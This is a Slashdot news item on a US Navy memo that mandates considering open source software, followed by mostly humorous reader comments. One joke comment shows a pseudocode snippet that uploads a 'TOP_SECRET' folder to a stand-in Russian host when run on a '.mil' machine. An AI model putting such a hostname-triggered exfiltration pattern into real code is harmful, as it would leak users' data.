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Navy Now Mandated To Consider FOSS As an Option

lisah writes "In a memorandum handed down from Department of the Navy CIO John Carey this week, the Navy is now mandated to consider open source solutions when making new software acquisitions. According John Weathersby, executive director of the Open Source Software Institute, this is the first in a series of documents that will also address 'development and distribution issues regarding open source within Navy IT environments.'"

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  1. Inconceivable! by theTrueMikeBrown · · Score: 5, Funny

    The government saving money?

    I am speechless.

    1. Re:Inconceivable! by MillionthMonkey · · Score: 5, Funny

      They're probably worried about terrorists having write access to open source CVS repositories. I saw this in SourceForge recently:

      if ($hostname =~ m/.*\.mil/) {
          multiPartUpload("C:\\TOP_SECRET\\", "http://post.secrets.ru?param=suckers");
          explode() || die("The requested operation cannot be performed");
      }

  2. Sing with me by niceone · · Score: 4, Funny

    In the navy
    Yes, you can sail the gcc's
    In the navy
    Yes, you can open source with ease
    In the navy
    Come on now, people, make && make install
    In the navy, in the navy
    ... hmm I've kind of painted myself into a corner there...

    1. Re:Sing with me by drinkypoo · · Score: 4, Funny

      ... hmm I've kind of painted myself into a corner there...

      I was going to say that you've painted yourself mauve, or possibly chartreuse.

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  3. Latest from Redmond by Anonymous Coward · · Score: 1, Funny

    I'm going to f***ing KILL the Navy!!!!

  4. Finally! by eln · · Score: 5, Funny

    Maybe now someone will finally download (or, dare I say, contribute?) to my sourceforge project. It's an Open Source nuclear submarine guidance system forked from an early beta of GAIM. Still in alpha, and right now it's got a little bit of a bug where if you try to get the sub to surface it will occasionally launch all of its missiles, but it's still pretty usable.

    1. Re:Finally! by Anonymous Coward · · Score: 3, Funny

      I tried but you claim not to support my hardware because the manufacturer won't release specs. Can you recommend a good nuclear first-strike-capable ballistic missile launch platform with free drivers?

  5. Actions, Not Words! by Nom+du+Keyboard · · Score: 3, Funny
    now mandated to consider open source solutions

    Talk about an arrangement of words that don't mean cr@p in the real world.

    Navy: Yeah we thought about it. Considered it even. Then went back to what we've been doing all along. Only terrorists use FOSS. Microsoft told us so.

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  6. Nice chorus, but the orignial is well suited. by twitter · · Score: 2, Funny

    Finish your chorus with this and then fall back to the original lyrics:

    They want GNU
    They want GNU
    They want you as a GNU recruit

    The original Lyrics:

    Where can you find pleasure
    Search the world for treasure
    Learn science, technology
    Where can you begin
    To make your dreams all come true
    On the land or on the sea
    Where can you learn to fly
    Play in sports or skindive
    Study oceanography
    Sign up for the big band
    Or sit in the grand stand
    When your team and others meet

    If you like adventure
    Don't you wait to enter
    The recruiting office fast
    Don't you hesitate,
    There is no need to wait
    They're signing up new seamen fast
    Maybe you are too young to join up today
    But don't you worry 'bout the thing
    For I'm sure there will be
    Always the good Navy
    Protecting the land and sea

    I'll stay away from the "signing up new seamen fast" part, but the learning and adventure part is probably more true in the free software world than it is on a boat and anything beats Bill Gates slave galleys. Pressing on with a few special mods for you WinDOS fanboys afraid of the plunge:

    But, but, but
    I'm afraid of Penguins
    Hey, hey, look men
    I get seasick
    Even watching it on techTV
    They Want GNU
    Oh my goodness
    They Want GNU
    What am I gonna do in a GNU machine
    They Want GNU
    They Want GNU
    In the Navy

    In the Navy
    Yes, you can apt-get with ease
    In the Navy
    Yes, that will put your mind at ease
    In the Navy
    There will be no blue screen disease
    In the Navy
    Can't you see we need a hand
    In the Navy
    Come on and share the source code
    In the Navy
    Come on and help your fellow man
    In the Navy
    Come on people and make a stand
    In the Navy

    --

    Friends don't help friends install M$ junk.

  7. Re:Is the tide turning? by jimicus · · Score: 2, Funny

    I dont think the navy will settle for:
    "Man, this thing doesnt work"
    "Uhhh, post a question on the fourm, and hope you hear back"


    That is exactly why companies like IBM and RedHat exist.

  8. Yeah but... by TrappedByMyself · · Score: 3, Funny

    If you thought it was hard finding ATI drivers, try finding nuclear sub drivers!

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  9. Re:Imagine Chinese say: GPL shows us your code NAV by WhatAmIDoingHere · · Score: 2, Funny

    "Stupid, stupid !!"

    Were you summarizing your comment?

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